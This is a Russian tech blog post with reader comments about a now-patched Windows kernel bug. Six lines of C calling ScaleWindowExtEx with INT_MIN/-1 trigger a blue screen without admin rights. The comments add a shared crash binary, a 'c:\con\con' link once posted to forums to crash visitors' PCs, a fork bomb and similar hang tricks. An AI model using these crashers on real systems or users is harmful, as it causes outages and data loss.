Как уронить Windows шестью строчками кода

См. также: Microsoft исправила уязвимость с синим экраном

Однажды один знакомый рассказал мне про одну уязвимость в Windows. А именно из-за нее можно легко вызвать синий экран смерти шестью строчками кода на Си. Причем программа не требует никаких прав администратора и вызывает только одну функцию масштабирования окна.




Немного теории

В случае недопустимой инструкции процессор бросает исключение, а ОС уже сама решает, что с этим делать. Если это ошибка в программе и она никак не обрабатывается, то система выдает всем известное сообщение о том, что прекращена работа программы.

Например, в этом коде деление на ноль — недопустимая инструкция.
#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

Если скомпилировать этот код без оптимизации, то мы увидим то самое окно о прекращении работы программы (конечно, компилятор выдаст warning).

Если же выполняется недопустимая инструкция в ядре системы, то все немного интереснее: мы увидим синий экран.

INT_MIN / -1

Есть еще одна исключительная инструкция — деление INT_MIN на -1.
Дело в том, что INT_MIN=−2,147,483,648=-231, а INT_MAX=2,147,483,647=231-1. Довольно очевидно, почему они отличаются на единицу: невозможно в int запихнуть ноль, множество положительных чисел и множество отрицательных чисел так, чтобы количество положительных и отрицательных чисел было равно.
Получается, при делении INT_MIN на -1 результат не умещается в int и процессор бросает исключение.

Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:
#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}


Ядро Windows

В ядре Windows принято не использовать переменные с плавающей точкой. Прямо вообще-вообще не использовать. Поэтому когда приходится работать с чем-то нецелым, используют две целочисленные переменные: числитель и знаменатель.
Также для увеличения производительности некоторые WinAPI функции, вызываемые программой, выполняются в ядре системы. Пример такой функции — ScaleWindowExtEx. Она ничего особенного не делает — функция масштабирует окно.
Прототип функции:
BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);


Сама программа

Отлично, это то, что нам нужно. Второй и третий параметры, четвертый и пятый параметры — это как раз числитель и знаменатель.
Xnum / Xdenom — масштабирование по x.
Ynum / Ydenom — масштабирование по y.
Но функция не всегда делит одно число на другое. Функция будет делить одно число на другое в случае, если разметка контекста рисования (device context) располагается справа налево. В противном случае она, видимо, будет перед делением как-то менять эти числа. Чтобы поменять разметку контекста, есть функция SetLayout.
Значит, создаем контекст рисования вызовом CreateCompatibleDC (NULL). Устанавливаем разметку контекста с помощью SetLayout. После чего вызываем функцию ScaleWindowExtEx с нужными параметрами.
Конечно, программисты Майкрософт не полные дебилы проверяют деление на ноль, и передачей третьим параметром числа ноль Windows не уронишь.
Но вот деление INT_MIN на -1 они не проверяют. Из-за чего происходит необработанное исключение в ядре системе, что приводит к синему экрану.
Такой код программы при добавлении библиотеки gdi32.lib уронит Windows:
#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

Его можно подсократить до шести строчек для добавления пафосного заголовка:
#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

Тут INT_MIN заменен на -2147483648, чтобы не добавлять лишнюю строчку, подключая файл limits.h. Конечно, можно код сократить до двух строчек, но тогда он уже будет совсем нечитабелен. Да и все функции на Си всегда можно сократить в одну очень-очень длинную строчку.

Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной (хотя на 64-разрядной не всегда этот баг наблюдается).

P.S. Раньше с помощью такой недопустимой инструкции можно было убить bash, но сейчас это исправили.

UPDATE1: Изменил ((int) 0x8000/0x80000000) на (-2147483647 — 1), теперь должно работать. Спасибо, AndreyDmitriev и alper.
UPDATE2: Microsoft исправила эту уязвимость.
UPDATE3: Ссылка на статью «первооткрывателя»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.

Комментарии 256

    +98
    Эх молодежь… А еще лет 15 назад всего то две команды ассемблера нужны были:
    1) запретить все прерывания
    2) уйти в режим ожидания прерывания
    Конечно не синий экран, но только хардрезет помогал вернуться в систему.
      +80
      В 95 надо было в блокноте написать «ъль», переименовать в com и запустить. «ъ» — запрет прерываний, а «ль» — вроде, прыжок на предыдущую инструкцию. Хотя за давностью лет, могу и напутать.
        +4
        Ага, именно так — прыжок на предыдущую инструкцию для бесконечного цикла.
        Интересно то, что если процессор Intel и под OS/2, то эту задачу можно было убить без перезагрузки в силу особенности многозадачности этой ОС на процессорах Intel. Эта особенность иногда использовалась для холиваров Intel-AMD в своё время.
          +1
          а cli / hlt чем хуже был? :)
            0
            Не помню подробности. Вроде DOS вис, а Windows не вис. На бесконечном цикле Windows точно вис.
            За давним временем могу, конечно, путать по поводу cli,hlt.
              0
              До SMP команды cli / hlt гарантированно останавливали любой проц (до появления первого прерывания, которые отключены)
                +3
                cli не отключает немаскируемые прерывания
              –2
              не так. CLI / STI.
                0
                STI это установка флага разрешения прерываний. А автор имел в виду выключить прерывания и сделать останов процессора.
                  0
                  я понял, но процитирую то, что осталось из OS/2 Warp 3 до определенного FixPack:

                  Для работы с прерываниями используются команды микропроцессора:
                  Sti — set interrupt (I=1, разрешить прерывание)
                  Cli — clear interrupt (I=0, запретить прерывание)

                  Если за командой CLI не следует STI, то машина “зависает”, так как клавиатура не реагирует на нажатие клавиш. Для программирования прерываний используется IMR — регистр маски прерываний.
            +3
            Насколько я помню, этими «тремя заветными байтами» были FA EB FE, т.е. третьим символом должно быть «ю».
              –1
              Вроде бы FE EF BA
                –1
                FA EB FD
                cli; jmp $-2
                  0
                  Сколько вариантов :)
                    +2
                    Это как у вас -2 превратился в FD?
                      –2
                      синтаксис tasm. или nasm. уже не помню.

                      The first byte of a SHORT Jump is always EB and the second is a relative offset from 00h to 7Fh for Forward jumps, and from 80h to FFh for Reverse (or Backward) jumps.
                        +4
                        Это не отменяет того факта, что -2 = FE
                      +1
                      тогда уж jmp $
                      "$ evaluates to the assembly position at the beginning of the line containing the expression"
                  –6
                  Ух! Интересно! А можно сейчас в блокноте чтонибудь написать, переименовать в ехе и запустить?)
                  Или мп3 пару мелодий написать))
                +85
                Эх молодежь… А еще лет 65 назад всего то один мотылек нужен был:
                1) берем мотылька
                2) помещаем в реле
                Конечно не синий экран смерти, но только ругательства инженеров и переборка половины машины помогали вернуться в систему.
                https://ru.wikipedia.org/wiki/Баг
                  +35
                  всего то один мотылек
                    –13
                    Настоящие программисты пишут
                    c:\>copy con program.exe
                    
                      +16
                      Это неправославный аналог cat.
                        –7
                        вроде, cat так не умеет
                          –3
                          Умеет, достаточно сделать cat без параметров.
                          Чтобы выйти нажать Ctrl-C
                            +12
                            Ctrl-D же, чтоб конец файла послать.
                              +3
                              а, и правда. век живи — век учись.
                                +2
                                Обычно рекомендуют такую конструкцию:
                                $ cat <<EOF > filename
                                > line 1
                                > line 2
                                > EOF
                                

                                ("> " ставится автоматически)
                                Можно скопипастить (без "> ") и не требуется магических комбинаций клавиш.
                                  0
                                  Лучше в примерах сразу писать без >, чем объяснять, что его там нет. А то PS2 может быть разным.

                                  cat << EOF интересен не тем, что не нужны «магические» комбинации клавиш (кстати, stty eof $new позволит вам поменять <C-d> на что‐то другое). А тем, что, во‐первых, может быть использован в скриптах (<C-d> нельзя), во‐вторых, использует zle/readline/libedit/…, позволяя вносить правки в текущую строку, и, в‐третьих, полностью сохраняются в истории (т.е. можно вносить правки после запуска команды, хотя работа с многострочным вводом в оболочках не слишком удобна, да и именно код после << EOF сохраняют не все).
                          +3
                          и не помнят, как оттуда выйти :)
                        +5
                        Сборка emacs под Debian умеет M-x butterfly с 2009.

                        Источник: multithread.org/?q=node/108
                        +2
                        Ну, надо сказать, что сейчас этот способ все еще работает :)
                        +39
                        Сейчас сюда придет товарищ с ником, состоящим из двух этих команд.
                          +71
                          тадам!
                            +38
                            Та-да-да-дам!
                              +4
                              как у вас хорошо получилось :)
                          +1
                          А в наше время писалось что-то типа while (true) { fork(); }
                            –3
                            Приводить данный код без метода «fork();» Не имеет смысла.
                            Или у вас там только чистая нагрузка на цп?
                            Да и вообще в статье не об этом.
                            Завтра, кстати, попробую, расскажу о результатах с мингв.
                              0
                                +1
                                Понял. Спасибо.
                                Кстати на mingw скомпилировалось и наура, но возникла маленькая проблема.
                                Если у вас компилятор ругается на SetLayout. Вот в этом месте (wingdi.h) тот самый прототип.
                                #if (WINVER >= 0x0500)
                                WINGDIAPI DWORD WINAPI GetLayout(HDC);
                                WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
                                #endif
                                

                                Скорее всего WINVER = 0x0400.
                                Чтобы исправить достаточно добавить «7 строку» с этим прототипом.
                                #include <windows.h>
                                WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
                                
                                int main()
                                {
                                //////
                                
                          • НЛО прилетело и опубликовало эту надпись здесь
                              0
                              Только для Intel Pentium MMX и int 20h уже не нужен.
                              • НЛО прилетело и опубликовало эту надпись здесь
                                  0
                                  А, сообразил: чтоб на других процессорах нормально завершилась программка.
                            +30
                            <a href="file://c:\con\con">Супер ссылка</a>
                            Вышибало 95\98. Люди удивлялись, ругались, перезагружались и жали на «Супер ссылку» заново.
                              +2
                              А ещё можно было на сайте разместить ссылку на картинку с таким адресом. Тогда вышибало при входе на этот сайт.
                                +9
                                Ага, такое можно было запостить и на форумы (в Ikonboard 2.x прокатывало). Помню, все жаловались, почему форум перезагружает им винду, а у админа была Win2k и он не мог понять, чего от него хотят.
                                  0
                                  cd con\con так же действовал.
                                +4


                                А вот у людей есть такие папки
                                  +2
                                  А их никто и не запрещает их создавать. Если не даёт система, то есть и другие способы. Можно, например, зайти на компьютер с Windows через samba-клиента на Linux и создать там папку с точкой в конце имени. Потом сколько не изголяйся на Windows, удалить эту папку никоим образом не получится, кроме как снова зайти из Linux и удалить.
                                    +2
                                    CreateFile с FILE_FLAG_POSIX_SEMANTICS и FILE_FLAG_DELETE_ON_CLOSE не поможет?
                                      0
                                      Я некоторое время назад перестал пользоваться Windows постоянно. Интересно было бы почитать о тонкостях этой системы, ибо с ней постоянно сталкиваешься. Можете дать ссылки по теме? Или сами написать подробнее.
                                        0
                                        Я обычно читаю вот тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
                                        Про FILE_FLAG_DELETE_ON_CLOSE я прочитал тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915(v=vs.85).aspx
                                          –2
                                          Особенности Советского образования заставили меня учить немецкий в школе. В результате я хреново ориентируюсь в английском и совершенно не знаю немецкого. Буду благодарен, если напишете статью. Думаю и другие на хабре будут не против. Тем более в особенностях Windows очень много скрытых вещей.
                                            +1
                                            Совесткого? Вы 90го года, в это время у всех был выбор, если не языка. то школы точно. Да и никто не мешает учить язык самому. Я сам учил, в школе не научили.
                                              0
                                              Я учился в глубинке России, где и сейчас живу. В наше время сказали только немецкий, так и учил немецкий. Годом позже появился английский. Но увы, я мог учить только свой. В результате учил по книгам английский. Он был нужен просто самому. Всё ПО, что у меня тогда было, было на английском.
                                                0
                                                Хм, нет, у меня глюки. странно, прошу прощения. Посмотрел по кэшу гугла.
                                                  0
                                                  Всегда был 80-го. Сейчас проверил. Я дату рождения всегда рандомно ставлю… но не год.
                                          +1
                                          Книгу «Windows Internals» Марка Руссиновича и других.
                                        +1
                                        Никаких проблем с Windows:
                                        mkdir \\?\c:\temp\con
                                        rmdir \\?\c:\temp\con
                                          +1
                                          Вы в Windows 95/98 пробовали? Багу с con они только подвержены.
                                            +1
                                            Это же не баг, а просто наследие доса в виде его служебных слов.
                                          0
                                          До некоторого времени, если я не ошибаюсь, ntfs драйвер под линуху позволял писать в имена файлов все то, что можно писать и в ext разделах, тоесть всякие служебные символы, типа ?*/\. При попытке открыть/удалить/переименовать это в винде у нее клинило моск. Сделать что-то с таким файлом, помещенным в корень диска, средствами проводника и консоли было не возможно.
                                          +3
                                          русская «с» или «о»?
                                            0
                                            ууу… я так в далеком 90-м году великого программиста «хакнул». Переименовал в его любимой foxbase.exe иксы на русскую ХА. Долго он мучился в Norton Commander, пока не сообразил запустить DIR и изучить названия файлов. А прежде ему пришлось час потратить на изучение настроек DOS и конфигурацию NC.
                                              +3
                                              Старый прикол. Шесть command.com под DOSом :)
                                            0
                                            Тогда vbscript из браузера умел тупо выполнять что угодно через shell.
                                            +49
                                            Это в виндовс 8 такое няшное окно смерти?
                                              0
                                              да
                                                0
                                                Да, только без градиента
                                                  +22
                                                  Самое удивительное, что его ни разу не видел, хотя сижу с релиза.
                                                  Вот и посмотрел на скриншоте.
                                                    0
                                                    Я на него вдоволь насмотрелся, пытаясь установить на ноутбук HP dv6 драйвера на видеокарту ATI Radeon HD6550M. В конечном счете плюнул и пользуюсь интегрированной графикой Intel.

                                                    Совершенно непонятно, почему ни AMD, ни MS, ни HP эта распространенная проблема не беспокоит.
                                                      +1
                                                      Это не баг — это фитча.
                                                      Ну а если серьезно — Я помню то время когда спецы из M$ говорили — «перенос функций оконного интерфейса не будет влиять на безопасность»
                                                        +1
                                                        Пробовали вот это?
                                                        У меня AMD 6650M + Intel HD3000. Отлично все работает, еще с RC.

                                                        +На сайте HP была KBшка ещё, которую тоже желательно поставить (если я не ошибаюсь). К сожалению, не помню номер.
                                                        0
                                                        А я вижу его почти каждый раз, когда работаю с GNS3. При остановке эмуляции — краш.
                                                          0
                                                          Давненько на W8 DP пытался firewall поставить, каждая установка кончалась рожицей, приятного мало.
                                                            +1
                                                            > 14 мая 2013
                                                            > W8 DP
                                                            –3
                                                            стабильно раз в пару месяцев сам по себе падает уже с пол года.
                                                              +1
                                                              Гляньте железо. Конденсаторы на мамке или оперативку. Если железо совсем старое, например HARD IDE, тогда бывали «удачные» проблемы в самом шлейфе.
                                                                0
                                                                Да я в курсе всего этого, железо — новый ноут, не дешевый. Может с ним конечно беда и есть какая-то но так нареканий не вызывает, я изначально на драйвера грешил т.к. больше всего проблем с wifi, ноут вечно ложу спать и так через пару недель-месяц приходиться удалять и искать в диспетчере задач карту т.к. её впритык не видит (когда лень перезагружаться). В конечном счёте меня это особо не напрягает, жить можно но осадочек остаётся.
                                                                0
                                                                Danov всё верно говорит. Ещё бывает полезно «пересобрать» — снять озу, платы расширения, шлейфы отключить, а потом всё назад собрать. М.б. ещё паста на процессоре высохла. В общем стабильные бсоды это почти всегда железо, иногда бывают случаи очень кривых драйверов, но они редки.
                                                                0
                                                                У меня при выходе из гибернации падает раз в несколько недель. Два раза просто так падала.
                                                                  0
                                                                  Анализируйте дампы, смотрите в каком файле падает. Падение при выходе из гибернации с большей вероятностью кривость дров, или их несовместимость с железом. Ну т.е. как вариант может быть ещё проблема с биосом мамки, видяхи, или ещё какой железки.
                                                                    0
                                                                    Было такое, на ХР все работало, а на 7ке иногда падало при выходе из гибернации, очень бесило. Решилось заменой ОЗУ.
                                                                  +1
                                                                  Похоже. Кстати странное название для ошибки S*_V*_S*
                                                                  В windows 7 просто service что-то Exception.
                                                                  +1
                                                                  > Есть еще одна исключительная инструкция — деление INT_MIN на -1.

                                                                  И в то же время INT_MIN+INT_MIN вернет 0 и это никого не парит. Где логика, где разум?
                                                                    +5
                                                                    Казалось бы, с логикой всё в порядке.
                                                                    INT_MAX = 2^31 — 1
                                                                    -INT_MAX = -2^31 + 1
                                                                    INT_MIN = -2^31 = -INT_MAX — 1

                                                                    Значит INT_MIN + INT_MIN = INT_MIN — INT_MAX — 1
                                                                    Заметим, что INT_MIN — 1 = INT_MAX из-за переполнения.
                                                                    Тогда INT_MIN + INT_MIN = INT_MAX — INT_MAX = 0
                                                                    Что и требовалось доказать.

                                                                    Поправьте, если я ошибаюсь.
                                                                      +2
                                                                      Совершенно верно, в рамках того «как принято» именно так и есть. Но вот чем это принципиально отличается от INT_MIN/-1…
                                                                        0
                                                                        Тем, что есть инструкции знаковых и беззнаковых умножений-делений, а сложение только для беззнаковых (потому что специально такая форма записи отрицательных чисел была выбрана, чтобы можно было обойтись 1 инструкцией).
                                                                          0
                                                                          Тем, что вы получаете число, превышающее максимально допустимое (а не 0).
                                                                            0
                                                                            С помощью INT_MIN/-1 ничего полезного не получить, а сигнализировать желательно. А со сложением/вычитанием можно реализовывать точность больше разрядности процессора/регистров.
                                                                          +17
                                                                          INT_MIN+INT_MIN вернет 0 и установит флаги переноса и переполнения. А логика в том, что эта операция является совершенно корректной в кольце вычетов по модулю 2^32.
                                                                            +6
                                                                            Это особенности x86, сложение/вычитание/умножение никогда сами не возбуждают исключения из-за переполнения, а вот деление — да.
                                                                              +3
                                                                              INT_MIN+INT_MIN — это undefined behaviour.
                                                                                –1
                                                                                Интересно, почему заминусовали? Это из-за того, что разговор о винде, а значит x86 и msvc?
                                                                                  –1
                                                                                  Нет, потому что INT_MIN+INT_MIN — это совершенно корректная операция, подробнее писали выше habrahabr.ru/post/179543/#comment_6233471
                                                                                  • НЛО прилетело и опубликовало эту надпись здесь
                                                                                      +1
                                                                                      Переполнение знаковых целых в С является UB. Вот вам пример когда это проявляется.
                                                                                        0
                                                                                        Да, переполнение знаковых — UB, но INT_MIN — вполне конкретное число, а не любое знаковое.
                                                                                          0
                                                                                          … точно также и с другими специальными константами из limits. В физическом мире -∞ и +∞ числа далеко не конкретные, а лишь обозначающие некий диапазон. Однако в железках, в виду ограничения, вызванного реализацией (разрядностью) эти числа вполне конкретные.
                                                                                            0
                                                                                            p.s: Да и платформа вполне конкретная — x86, а самодеятельность компилятора отключена вместе с оптимизацией.
                                                                                            –1
                                                                                            Если переполнение любых знаковых чисел — UB, то и переполнение конкретных знаковых чисел вроде INT_MIN — UB. Компилятор, в частности, имеет право удалить все что следует за INT_MIN+INT_MIN;.
                                                                                        0
                                                                                        Наверное, потому что 0x80000000 + 0x80000000 всё же вполне себе «defined» behavior.
                                                                                          +3
                                                                                          Это вызывает знаковое переполнение, поэтому на С++ это, конечно же, undefined behavior.
                                                                                          +4
                                                                                          Наверное, потому что разговор по сути идет о командах процессора, а не о языке С
                                                                                      +2
                                                                                      Windows Server с Terminal Services падает, не проверяли?
                                                                                        +1
                                                                                        Не проверял, но интересно узнать результат.
                                                                                          0
                                                                                          Так попробуйте (только осторожно): BlueScreen
                                                                                          Я это с VS2012 скомпилировал, рантайм вот здесь, если что.
                                                                                          Win7 Home Premium x64 падает как при запуске 32-х, так и 64-х битного приложения.
                                                                                            +57
                                                                                            wine — падает с ошибкой деления на ноль. Обидно, такую фичу не портировали)))
                                                                                              –3
                                                                                              Установка библиотек потребует прав администратора, так что уронить сервер терминалов будет сложновато. ;)
                                                                                                +4
                                                                                                Что мешает собрать без CRT вообще? Выставить точку входа в WinMain и получить 10-килобайтный бинарник, зависящий лишь от kernel32 и gdi32.
                                                                                                  +5
                                                                                                  Библиотеку, согласно не такой древней традиции, можно положить в каталог с программой.
                                                                                                  0
                                                                                                  Забавно. Проверил вашу сборку. Собрал сам и с VS2012 и с MinGW — система не падает. Неужели исправили?
                                                                                                  Win 8 Pro with Media Center x64
                                                                                                    +1
                                                                                                    проверил — работает отлично. только из перезагрузки. заявленный функционал присутствует в полной мере. багов нет ;)

                                                                                                    win7 x64 (без апдейтов), bsod сразу после запуска ;)
                                                                                                      0
                                                                                                      Скомпилировал в VS2008 в 32bit, можно здесь взять. Для этого экзешника специальный рантайм вряд ли потребуется.

                                                                                                      Под WinXP 32bit молча перезагрузилось без синего экрана. В эвентлоге такое:
                                                                                                      System Error Error code 0000007f Parameters 00000000, 00000000, 00000000, 00000000
                                                                                                        0
                                                                                                        Да, зависимостей не должно быть — скомпилировал со статическим рантаймом. Можно хоть на голой XP пробовать. Интересно, может, у кого-нибудь Win2k завалялось?

                                                                                                        Кстати, кажется, при этой ошибке не сбрасываются дисковые кэши. Будьте осторожнее при испытаниях, возможна потеря данных.
                                                                                                        0
                                                                                                        win8 pro x64 — не падает ни 32, ни 64.
                                                                                                    +88
                                                                                                    Функция ресайза окна в ядре. Это прекрасно.
                                                                                                      +122
                                                                                                      Не, ну а куда его ещё с таким названием ОС?
                                                                                                        +2
                                                                                                        В своё время Марк Руссинович говорил, что ничего плохого в этом нет. И это было по-моему даже до его работы в MS.
                                                                                                          0
                                                                                                          Кстати таки да — даже весьма серьезные исследователи допускают такие ляпы.
                                                                                                          P.S. эх — хорошо что хоть в QNX такого нету, если что упало — то не страшно, пускай лежит дальше, а система продолжит работу :)
                                                                                                            +14
                                                                                                            QNX за это заплатил немалую цену. Но устойчивость системы впечатляет, я так и не смог крашнуть ядро, хотя я очень, очень старался.
                                                                                                          –11
                                                                                                          Подобные аспекты работы WIndows заставляют меня вспомнить старую «добрую» одноименную передачу с Дмитрием Нагиевым :)
                                                                                                            0
                                                                                                            Думается эта функция столь древняя, что осталась ещё со времён прямо работы с памятью видеокарты.
                                                                                                              0
                                                                                                              * со времён прямой работы с памятью видеокарты.
                                                                                                                +1
                                                                                                                Страшное слово Legacy. WinAPI — священная корова, его нельзя ломать без риска сломать некоторые приложения. Sun как-то умудрялся схранять legacy без серьезных проблем, а вот у МС с этим проблемы
                                                                                                              +1
                                                                                                              D:\down>cl w.c /link gdi32.lib
                                                                                                              Microsoft (R) C/C++ Optimizing Compiler Version 17.00.60315.1 for x86
                                                                                                              Copyright (C) Microsoft Corporation.  All rights reserved.
                                                                                                              
                                                                                                              w.c
                                                                                                              Microsoft (R) Incremental Linker Version 11.00.60315.1
                                                                                                              Copyright (C) Microsoft Corporation.  All rights reserved.
                                                                                                              
                                                                                                              /out:w.exe
                                                                                                              gdi32.lib
                                                                                                              w.obj
                                                                                                              
                                                                                                              D:\down>w
                                                                                                              


                                                                                                              Windows 7 x64, не падает
                                                                                                                +2
                                                                                                                У меня вот так не падает:
                                                                                                                ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL);

                                                                                                                А вот так падает:
                                                                                                                ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);

                                                                                                                Скорее всего компилятор что-то себе наоптимизировал, но разбираться, право, лень.

                                                                                                                Проект в комментах выше.
                                                                                                                  0
                                                                                                                  потверждаю, хотя и приходиться писать после BSOD-a :)
                                                                                                                    +10
                                                                                                                      +4
                                                                                                                      Ох и битва оценок у моего комментария. :)
                                                                                                                    +1
                                                                                                                    На Windows8 x64 и с ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL); не падает.
                                                                                                                    Выдает в консоль сообщение «ScaleWindowExtEx() failed»
                                                                                                                      +2
                                                                                                                      А впрочем ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL) и не должна падать, ведь (int) 0x8000/0x80000000 — это ж нуль просто. Вижу, автор в статье уже поправил.
                                                                                                                      –1
                                                                                                                      Windows 8 x64 не падает, расходимся
                                                                                                                      –4
                                                                                                                      А я знаю, как уронить Windows 8 x64 и не имея другой винды хрен подымешь:
                                                                                                                      нужно просто установить в систему неподписанный драйвер (любой) и всё!
                                                                                                                      1) При загрузке винда падает в синий экрна по причине наличия неподписанного драйвера
                                                                                                                      2) Варинта «Загрузить последнею удачную загрузку» (или как он там звучит) в восьмерки отсутствует
                                                                                                                      3) из под линухи удалить драйвер не получается — отказывается монтировать «коцанный» NTFS раздел, то есть нужно винда, чтобы chkdks проверить раздел и только потом удалять файл драйвера.

                                                                                                                      Это я выяснял, пока экспериментировал с установкой Астер v7 — зарепенился уже, даже включение тестового режима (перед установкой, естественно) не помогает.
                                                                                                                      И каждый раз приходиться подрубать диск через USB к ноуту. Иначе никак.

                                                                                                                      Совет вирусописателям — поставил драйвер, файл которого хрен сотрешь и гуляй
                                                                                                                        +1
                                                                                                                        есть же ntfsfix в линуксе
                                                                                                                          0
                                                                                                                          zuz@zuz-desktop:~$ sudo ntfsfix /dev/sda3
                                                                                                                          Mounting volume… Windows is hibernated, refused to mount.
                                                                                                                          FAILED
                                                                                                                          Attempting to correct errors…
                                                                                                                          Processing $MFT and $MFTMirr…
                                                                                                                          Reading $MFT… OK
                                                                                                                          Reading $MFTMirr… OK
                                                                                                                          Comparing $MFTMirr to $MFT… OK
                                                                                                                          Processing of $MFT and $MFTMirr completed successfully.
                                                                                                                          Setting required flags on partition… OK
                                                                                                                          Going to empty the journal ($LogFile)… OK
                                                                                                                          Windows is hibernated, refused to mount.
                                                                                                                          Remount failed: Operation not permitted
                                                                                                                            0
                                                                                                                            Восьмерка же не на ntfs, а на некой refs, которая не совсем с ней совместима.
                                                                                                                              +1
                                                                                                                              Хм, а почему же оно спокойно проверяется из-под Windows XP?
                                                                                                                              Да и какая разница, на чем она — результат-то один и тот же — не имея другой копии любой винды данную проблему не починить.
                                                                                                                                –3
                                                                                                                                Не имея другой копии винды даже установить винду проблематично.
                                                                                                                                0
                                                                                                                                Нет.
                                                                                                                                  –1
                                                                                                                                  Ну вот раздел с ntfs старый монтируется, а раздел с восьмеркой никак вообще, хотя он точно чистый и работа завершалась штатным образом. Что-то там в файлухе явно изменили.
                                                                                                                                    +3
                                                                                                                                    Во всяком случае ReFS это другая файловая система, доступна она только на серверной Windows и не для загрузочных дисков. В NTFS в связи с выходом Win8, насколько я знаю, ничего не менялось.
                                                                                                                                      0
                                                                                                                                      У меня монтируется либо после проверки chkdsk после этих экранов смерти, и до этого при отправке компьютера из Win 8 в «Перезагрузка»
                                                                                                                                  +5
                                                                                                                                  Для таких случаев ключик «force» у mount предусмотрен.
                                                                                                                                    +1
                                                                                                                                    zuz@zuz-desktop:~$ sudo mount /dev/sda3 /mnt -o force
                                                                                                                                    Windows is hibernated, refused to mount.
                                                                                                                                    Failed to mount '/dev/sda3': Операция не позволена
                                                                                                                                    The NTFS partition is in an unsafe state. Please resume and shutdown
                                                                                                                                    Windows fully (no hibernation or fast restarting), or mount the volume
                                                                                                                                    read-only with the 'ro' mount option.
                                                                                                                                      +1
                                                                                                                                      Судя по выводу, винда в сон ушла (вопрос — как и когда? во время bsod?), поэтому и редактировать раздел не рекомендуется. Гугл в первой же позиции выдал "-o remove_hiberfile".
                                                                                                                                      Да будет вам счастье.
                                                                                                                                        +1
                                                                                                                                        Насколько понимаю, восьмерка для ускорения загрузки использует механизм гибернации.
                                                                                                                                          0
                                                                                                                                          Спасибо большое за сей параметр — он помог.
                                                                                                                                          По поводу хибернейта — точно так же ругается mount на раздел, если выходя из винды восьмой сделать Завершение работы, а не Перезагрузиться (т.е. Завершение работы — это как раз и есть завершение всех программ+уход в хибернейт)
                                                                                                                                            0
                                                                                                                                            Ну нормальный способ выключить должен быть? Попробуйте alt зажать или win.
                                                                                                                                              0
                                                                                                                                              Не — это фишка восьмерки — при Завершении работы компьютер заметно быстрее загружается, чем после Перезагрузка.
                                                                                                                                                0
                                                                                                                                                Ну всё правильно, ибо выгружается только юзерспейс, а ядро уходит в спячку.
                                                                                                                                            0
                                                                                                                                            Дополню картину:
                                                                                                                                            моя восьмёрка иногда не выходит из спящего режима (из ждущего не вопрос) с выпадением в синий экран. Пара перезагрузок через ресет решает проблему и винда грузиться по холоду. НО! если вдруг она не загрузиться (ну мало ли что, ноут сдох), то всё!
                                                                                                                                            Смотрите:
                                                                                                                                            1) винда была в спящем и не проснулась/умер комп
                                                                                                                                            2) из под линухи подмонтировать нельзя даже с force и remove_hyberfile

                                                                                                                                            ~$ sudo mount -o remove_hyberfile,force /dev/sda3 /mnt/win7
                                                                                                                                            Windows is hibernated, refused to mount.
                                                                                                                                            Failed to mount '/dev/sda3': Операция не позволена
                                                                                                                                            The NTFS partition is in an unsafe state. Please resume and shutdown
                                                                                                                                            Windows fully (no hibernation or fast restarting), or mount the volume
                                                                                                                                            read-only with the 'ro' mount option.

                                                                                                                                            В описанном мною случае ранее винда не была в hybarnate, а перезагружалась.
                                                                                                                                            Меня еще добивает тот факт, что _все_ диски нельзя подмонтировать по причине хибернейта, если винда была в спячке.
                                                                                                                                        0
                                                                                                                                        странно, у меня проблема с монтированием была всего один раз — но пофиксил достаточно быстро именно из-под линукса.
                                                                                                                                          0
                                                                                                                                          Дайте угадаю — у вас была в тот момент не Windows 8?
                                                                                                                                      0
                                                                                                                                      Насколько я помню, ntfsfix просто ставит на фс флаг «нужна проверка», после чего венда при виде этого раздела во время загрузки запускает fsck.
                                                                                                                                      +1
                                                                                                                                      Раз нельзя загружать непрописанный драйвер, то почему его можно устанавливать? Разработчиков по объявлению набирали?
                                                                                                                                      0
                                                                                                                                      А ещё была такая команда C:/con/con :-)
                                                                                                                                        0
                                                                                                                                        XP и ниже зависал, если установить текущему потоку REALTIME приоритет, и запустить while(1)
                                                                                                                                          +22
                                                                                                                                          А вот это уже не бага, а фича!
                                                                                                                                            +2
                                                                                                                                            А тут уже права администратора нужны.
                                                                                                                                              +2
                                                                                                                                              А если многоядерная машина?)
                                                                                                                                                0
                                                                                                                                                А вот надо попробовать :)
                                                                                                                                                  0
                                                                                                                                                  Думаю, решение ненамного сложнее.
                                                                                                                                                    +1
                                                                                                                                                    То N таких программ повешают комп столь же надежно (N = числу ядер).
                                                                                                                                                    0
                                                                                                                                                    А современные системы не зависают (с правами администратора если запустить)? Что изменилось?
                                                                                                                                                      +1
                                                                                                                                                      UAC появился для любителей из-под админа работать. Между прочим, модель ничем не хуже sudo.
                                                                                                                                                        0
                                                                                                                                                        Это я в курсе.
                                                                                                                                                        Просто NLab пишет «XP и ниже зависал», не до конца понятно, что имел ввиду «любая версия винды, если с правами администратора».
                                                                                                                                                    0
                                                                                                                                                    Windows 2008 R2 Standart x64 не падает.

                                                                                                                                                    Да, в коде есть небольшая ошибка — в третьей снизу строке должно быть hdc вместо Device, иначе будет ошибка компиляции.
